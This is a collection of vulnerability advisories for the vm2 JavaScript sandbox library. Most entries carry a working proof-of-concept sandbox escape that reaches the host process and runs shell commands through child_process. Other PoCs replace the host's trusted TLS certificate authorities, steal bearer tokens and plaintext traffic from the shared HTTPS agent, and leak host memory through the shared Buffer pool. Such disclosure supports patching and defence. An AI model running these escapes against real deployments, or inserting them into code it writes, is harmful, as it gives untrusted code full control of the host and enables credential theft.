In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC js const { VM } = require("vm2");
const vm = new VM();
vm.run( const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:childprocess"); execSync("echo pwned", { stdio: "inherit" }); } );
Summary
vm2 3.11.6 exposes the host tls module to a NodeVM when that builtin is explicitly allowed. Although the module object is wrapped as read-only, its functions still execute against process-wide host state. On Node.js versions that provide tls.setDefaultCACertificates(), sandbox code can replace the certificate authorities trusted by subsequent host-realm TLS clients.
The exploit needs only the narrowly allowed tls and url builtins. It does not require fs, process, module, childprocess, an external package, or a general '' builtin grant. A host HTTPS request rejected an attacker certificate before sandbox execution, then accepted the same certificate and returned an application marker after the sandbox replaced the default CA list.
This crosses the intended sandbox boundary. An attacker can make host HTTPS clients trust an attacker-controlled CA, enabling credential theft and response tampering when the attacker can influence a subsequent destination or network path. Replacing the list also removes the normal trust roots, disrupting unrelated host TLS traffic.
Details
The vulnerable boundary is the default builtin loader in lib/builtin.js. Builtins that are not classified as dangerous are exposed through a recursive read-only bridge:
js builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
The read-only wrapper prevents ordinary property assignment through the sandbox proxy. It does not make calls such as tls.setDefaultCACertificates() sandbox-local. That function changes the default CA list for the current Node.js thread and affects subsequent TLS connections that do not provide their own ca option.
The dangerous-builtin list now rejects dns because dns.setServers() mutates process-wide host networking state. It does not reject tls, even though current Node.js exposes an equivalent process-wide trust mutation through it.
A direct call with a normal sandbox array is not necessary. The native TLS function requires an actual host-realm array. The allowed host url module provides one:
js const tls = require('tls'); const {URLSearchParams} = require('url');
const hostArray = new URLSearchParams( 'ca=' + encodeURIComponent(attackerCaPem) ).getAll('ca');
tls.setDefaultCACertificates(hostArray);
URLSearchParams.getAll() executes in the host realm and returns a host array containing the attacker-controlled PEM string. vm2 maps that array into the sandbox. When the mapped value is passed back to the TLS function, the bridge unwraps it to the original host array, satisfying the native type check. The TLS function then replaces the host thread's default CA set.
The complete exploit flow is:
text attacker-controlled NodeVM program -> require only the allowed tls and url builtins -> URLSearchParams.getAll() creates a host array containing attacker CA PEM -> bridge unwraps the mapped array when passed back to tls -> tls.setDefaultCACertificates() replaces host default trust roots -> subsequent host-realm HTTPS client accepts attacker-signed certificates -> attacker can observe or modify application TLS traffic
The API is present in Node.js 22.19.0 and later in the 22.x line, and Node.js 24.5.0 and later in the 24.x line.
PoC
The attached PoC is fully local. It creates a temporary CA and a loopback HTTPS server signed by that CA, then performs two requests from the host realm.
1. Install Node.js 22.19.0 or later in the 22.x line, or Node.js 24.5.0 or later in the 24.x line. OpenSSL must also be available. 2. In the attached poc directory, run:
bash npm install --ignore-scripts node poc.js
3. A vulnerable result has all of these properties:
- the first host request fails with a certificate verification error; - the sandbox reports that it supplied one host-realm CA entry; - the second host request succeeds with HTTP 200; - the second response body is VM2POCHOSTTLSRESPONSE3e71c8.
The server listens only on loopback and the PoC makes no external request.
Impact
This is an improper sandbox authorization boundary around a process-wide TLS security setting.
An attacker who can submit code to a NodeVM configured with the tls and url builtins can:
- replace the CAs used by subsequent host-side HTTPS and TLS clients; - make the host authenticate services presenting certificates signed by the attacker; - intercept host credentials, API tokens, session data, request bodies, and responses when the attacker can influence DNS, routing, a proxy, or a later request destination; - modify trusted responses, including configuration, webhook, update, identity, and package-retrieval traffic; - remove the normal trusted roots and cause unrelated host TLS connections to fail.
The attacker does not obtain a direct file or command-execution primitive from this PoC. The critical impact is control of the host process's authentication trust decision, outside the sandbox's authority. Connections that explicitly provide their own CA list are not affected, and already cached TLS sessions may remain unchanged.
Summary
vm2 3.11.6 exposes the host process's real https.globalAgent when a NodeVM is explicitly allowed to require https. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a free listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection.
In a contained test, sandbox code allowed only the https builtin:
- read the host request's bearer token from the agent event; - attached a data listener to the released host TLS socket and read the next host response body in plaintext; - learned the private service host and port; - sent an attacker-chosen authenticated POST using the stolen host token; and - received confirmation that the service accepted the action.
The host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance.
Details
The vulnerable boundary is the default builtin loader in lib/builtin.js:
js builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
The wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state.
https.globalAgent is the default agent used by host HTTPS requests when the host does not supply a separate agent. The agent is shared by the entire Node.js thread. Its free event supplies both:
- the TLSSocket that has just completed a request and is available for reuse; and - the connection/request options used to place that socket in the pool.
The following sandbox code registers directly on that host singleton:
js const https = require('https');
https.globalAgent.on('free', (socket, options) => { const token = options.headers.Authorization; const destination = {host: options.host, port: options.port};
socket.on('data', chunk => { capturedHostTraffic += chunk.toString('utf8'); });
const req = https.request({ hostname: destination.host, port: destination.port, path: '/sandbox-action', method: 'POST', headers: {Authorization: token}, agent: false, }); req.end(attackerChosenBody); });
Calling .on() is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits free, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling socket.on() also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection.
The complete exploit flow is:
text attacker-controlled NodeVM program with https allowed -> subscribe to the real host https.globalAgent -> unrelated host HTTPS request completes -> shared Agent emits live socket and request options into sandbox callback -> sandbox reads host Authorization token and private destination -> sandbox attaches to the released TLSSocket -> next host response is exposed in plaintext -> sandbox reuses stolen token for attacker-chosen authenticated request
This is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify https as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent.
PoC
The attached PoC uses only a temporary certificate and a loopback HTTPS server.
1. Install Node.js and OpenSSL. 2. In the attached poc directory, run:
bash npm install --ignore-scripts node poc.js
3. A vulnerable result includes all of the following markers:
- leaked host token: Bearer VM2HOSTAUTHORIZATIONf7952a; - captured host response: VM2PRIVATEHOSTRESPONSE47b2d6; - attacker-chosen authenticated action: VM2SANDBOXACTION8d14c3; - server decision: ACTIONACCEPTED.
The first host request carries the token. After it completes, the sandbox callback receives the token and independently sends the action request. The second host request reuses the pooled TLS connection; the sandbox's listener reads that response from the live socket. The PoC fails unless both confidentiality and integrity effects occur.
Impact
This is cross-boundary exposure and misuse of a process-global authenticated network resource.
An attacker who can submit code to a NodeVM with https allowed can, when the host uses the default HTTPS agent:
- steal Authorization, Cookie, API-key, proxy-authorization, and other sensitive request options; - discover private service hostnames and ports used only by host code; - read plaintext response headers and bodies on reused TLS connections; - steal client-certificate, private-key, passphrase, CA, or session-related options when the host supplies them through request options; - perform authenticated actions using stolen bearer credentials; - write to or destroy live host sockets, disrupting or corrupting unrelated traffic; - cross tenant boundaries when multiple sandboxes and host workloads share one process.
The sandbox already has the intentional ability to make its own HTTPS requests. It does not intentionally have authority to observe or reuse the host application's credentials and connections. A host that always supplies a separate private Agent for every sensitive request avoids this specific singleton, but that is not the default behavior.
Summary Sandboxed code is able to disclose host memory used by small allocations by Buffer.from, Buffer.concat.
Details vm2 exposes Buffer object to sandboxed code by default. Small Buffer allocations (for example, Buffer.allocUnsafe(), Buffer.from(array), Buffer.from(string), and Buffer.concat()) use the same Buffer pool, which is shared with the sandbox. This allows sandboxed code to disclose host memory used by the functions listed above.
PoC Tested against vm2@3.11.5 in the node REPL. javascript Buffer.from('host-memory-should-not-leak-to-sandbox') new (require('vm2').VM)().run(Buffer.from(Buffer.from([0]).buffer, 0, Buffer.from([0]).buffer.byteLength).toString('ascii'))
<img width="1044" height="104" alt="Screenshot 2026-07-23 at 17 54 15" src="https://github.com/user-attachments/assets/987b860c-6702-4818-bfaa-c77919c777e5" />
Impact Since sandbox acquires an ArrayBuffer that is used by the host, it can disclose sensitive data going through functions mentioned above and even write to these buffers, which can lead to sensitive data exposure and potentially denial-of-service.
Summary
It being possible to obtain the host proto getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console.stdout/console.stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console.stdout/console.stderr is:
stdout / stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
js const { NodeVM } = require("vm2");
code = const gP = Buffer.call.call(lookupGetter,67,'proto');
// vm proto getter console.log(lookupGetter.call(0,'proto').call(console.stderr)); // [Object: null prototype] {}
// host proto getter console.log(gP.call(console.stderr)); // Socket { [...] }
let p = console.stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); };
p.emit = function(){ console.log(this+[]); this.getBuiltinModule("childprocess").execSync("sh",{stdio:"inherit"}) } ;
const vm = new NodeVM(); vm.run(code);
Summary
NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes nodemodules, two defaults combine to fully defeat the sandbox:
- require.root defaults to unrestricted — "if omitted every path is allowed." - require.context defaults to "host" — files loaded this way run through the real Node.js require(), not inside any vm2 sandbox.
Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (nodemodules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via childprocess.
This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:
js const vm = new NodeVM({ require: { external: true, root: './', }, });
root: './' reads as a safety restriction but, in any ordinary npm project layout, ./nodemodules/vm2 sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.
Affected Versions
All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report — confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).
Details / Root Cause
lib/resolver-compat.js:
js const { builtin: builtinOpt, mock: mockOpt, external: externalOpt, root: rootPaths, resolve: customResolver, customRequire: hostRequire = defaultRequire, context = 'host', // <-- defaults to 'host' strict = true, fs: fsOpt = DEFAULTFS, } = options; ... if (!externalOpt) return new Resolver(fsOpt, [], builtins); ... let checkedRootPaths; if (rootPaths !== undefined) { // root is only canonicalized/validated if the embedder explicitly provided one. ... }
and CustomResolver.isPathAllowed:
js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted ... }
and CustomResolver.loadJS:
js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); }
CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and executed via the real, unsandboxed Node.js require().
This is a distinct code path from the two already-fixed advisories that produce a similar end state:
- Category 24 / GHSA-cp6g-6699-wx9c (require.root symlink bypass) assumes root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the only history that file has — nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink. - Category 25 / GHSA-8hg8-63c5-gwmx (nesting: true bypass) closes a different delivery mechanism entirely — the NESTINGOVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.
An embedder who has correctly mitigated both prior advisories remains completely open through this one.
Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."
Proof of Concept
See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real nodemodules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.
js const path = require('path'); const { NodeVM } = require('vm2');
const vm = new NodeVM({ require: { external: true, root: './' }, // verbatim from README "Quick Examples" });
let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/'); if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;
const result = vm.run( const real = require(${JSON.stringify(vm2EntryPoint)}); const inner = new real.NodeVM({ require: { builtin: ['childprocess'], external: false } }); module.exports = inner.run("module.exports = require('childprocess').execSync('whoami').toString().trim()", 'inner.js'); , 'untrusted-plugin.js');
console.log(result); // real host username, e.g. "Abisheik M"
Actual output on the test machine: { whoami: 'Abisheik M', platform: 'win32' }
Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.
Impact
Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes nodemodules, or omitted entirely) allows sandboxed/untrusted code to:
- Execute arbitrary OS commands via childprocess (full RCE). - Read/write arbitrary files via fs (once inside the re-instantiated unrestricted NodeVM). - Fully defeat every other sandbox restriction the embedder configured on the outer NodeVM — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.
Suggested Fix
Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.
In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time — extending the same checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.
Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory nodemodules install (e.g. scope it below the project root, or add an explicit callout that root must exclude nodemodules).
vm2 before 3.11.6 fails to restrict access to os and dns builtins under the builtin: [''] configuration, allowing sandbox code to read host process identity and network topology. Attackers can invoke dns.setServers() to hijack the host process DNS resolver globally, redirecting all subsequent host DNS queries through an attacker-controlled resolver.
vm2 through 3.12.0 (fixed in 3.12.1) does not correctly handle a nullish this receiver in the apply trap of its bridge (lib/bridge.js): when sandboxed code calls a host-provided non-strict (sloppy-mode) function without a receiver — e.g. fn(), a detached method, fn.call(), fn.apply(undefined), Reflect.apply(fn, undefined, []), or fn.bind()() — the undefined receiver is passed straight through to the host call, and V8 substitutes the host realm's global object for this. vm2 then wraps and returns that object to the sandbox, giving sandboxed script a live proxy of the host global. This allows a complete sandbox escape: untrusted script can reach process and execute arbitrary code/commands on the host (for example via process.getBuiltinModule('childprocess').execSync). Exploitation requires that the embedding application expose at least one non-strict host function to the sandbox; strict-mode and ES module host functions are not affected.
vm2 (npm) versions 3.12.0 and earlier contain a sandbox escape in VM and NodeVM. When an embedder exposes a host API that returns a host-realm Promise, the bridge's rejection sanitizer (hostPromiseSanitizeReject / makeSanitizedPromiseCallback / normalizeHostPromiseCallbacks in lib/bridge.js) only wraps then/catch rejection slots that hold a function, and the sandbox-side Symbol.species/.then neutralization is installed only on the sandbox intrinsic Promise.prototype, so it never applies to a host Promise. Code running inside the sandbox can overwrite p.constructor[Symbol.species] on the host Promise and then call p.then() with no onRejected handler; V8 substitutes its internal Thrower, which re-throws the raw host rejection value into a resolve/reject closure captured by the attacker. This delivers an unsanitized, fully functional bridge proxy of the host object to sandboxed code, bypassing handleException and hostPromiseSanitizeReject. If the rejection value is host-pivotable (for example a host process object), this results in arbitrary code execution on the host. Fixed in 3.12.1.
Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTINGOVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
js const NESTINGOVERRIDE = Object.freeze({ proto: null, vm2: vm2NestingLoader });
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTINGOVERRIDE, // ← injected when nesting:true this.compiler );
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENYRESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTINGOVERRIDE:
js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENYRESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTINGOVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULTFS, [], builtins); // vm2 is now requireable } // ... }
lib/builtin.js:102-106 — NESTINGOVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } }
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches childprocess.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
js const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run( // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['childprocess'] } });
// Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("childprocess").execSync("id").toString()' ); );
console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591): uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
The variant with require: false also works — the outer VM's require setting has no effect:
js new NodeVM({ nesting: true, require: false }).run( const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['childprocess'] } }) .run('module.exports = require("childprocess").execSync("id").toString()'); ); // uid=1000(akshat) ...
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.
What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.
Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.
Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
js const obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice:()=>'', l:{proto: null} };
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) { if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice; return a; }}); obj.l.x.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Summary
Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.
Details
Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux) Trigger: Attacker-controlled code passed to VM.run() Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)
vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.
WebAssembly's trytable instruction with a JSTag catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASM trytable catches it as an opaque externref and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.
PoC
js const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);
new VM().run( const before = typeof process;
const err = new Error("x"); err.name = Symbol();
const wasm = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00, 0x02,0x19,0x02, 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00, 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02, 0x03,0x02,0x01,0x01, 0x07,0x0f,0x01, 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01, 0x0a,0x12,0x01,0x10,0x00, 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]);
const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } );
const hostError = instance.exports.catcherror(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("childprocess").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); );
node poc.js vm2: 3.10.4 | node: v25.6.1
process before escape: undefined process after escape: object host pid: 217 host node version: v25.6.1 RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Proof files poc.js
Summary
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39. This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.
PoC
The following code demonstrates this issue by aquiring the host process object and executing touch pwned.
js const {VM} = require("vm2"); const vm = new VM(); vm.run( Object.defineProperty=()=>{}; async function fn() { const e = new Error(); e.name = Symbol(); return e.stack; } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('childprocess').execSync('touch pwned'); } ) } } }; p.then(); );
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
It is possible to catch a host exception using the yield expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield iterator as the next value.
PoC
js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function helper() { yield { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); ));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Summary vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
Root Cause handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].
Impact Full host RCE (childprocess.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
Proof of Concept js const {VM} = require('vm2'); const vm = new VM({ sandbox: { hostThrow(){ const shared = new AggregateError([], 'shared'); shared.leak = process; // incidental host ref throw new AggregateError([shared, shared], 'all failed'); // same host obj twice }}}); console.log(vm.run( try { hostThrow(); } catch (e) { e.errors[1].leak.mainModule.require('childprocess').execSync('id').toString(); })); // -> uid=1000(...) host RCE Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.
Attack Chain 1. Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope. 2. Caught-exception sanitizer — sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live. 3. Sink — e.errors[0].leak.mainModule.require('childprocess').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu).... 4. Impact — host RCE with 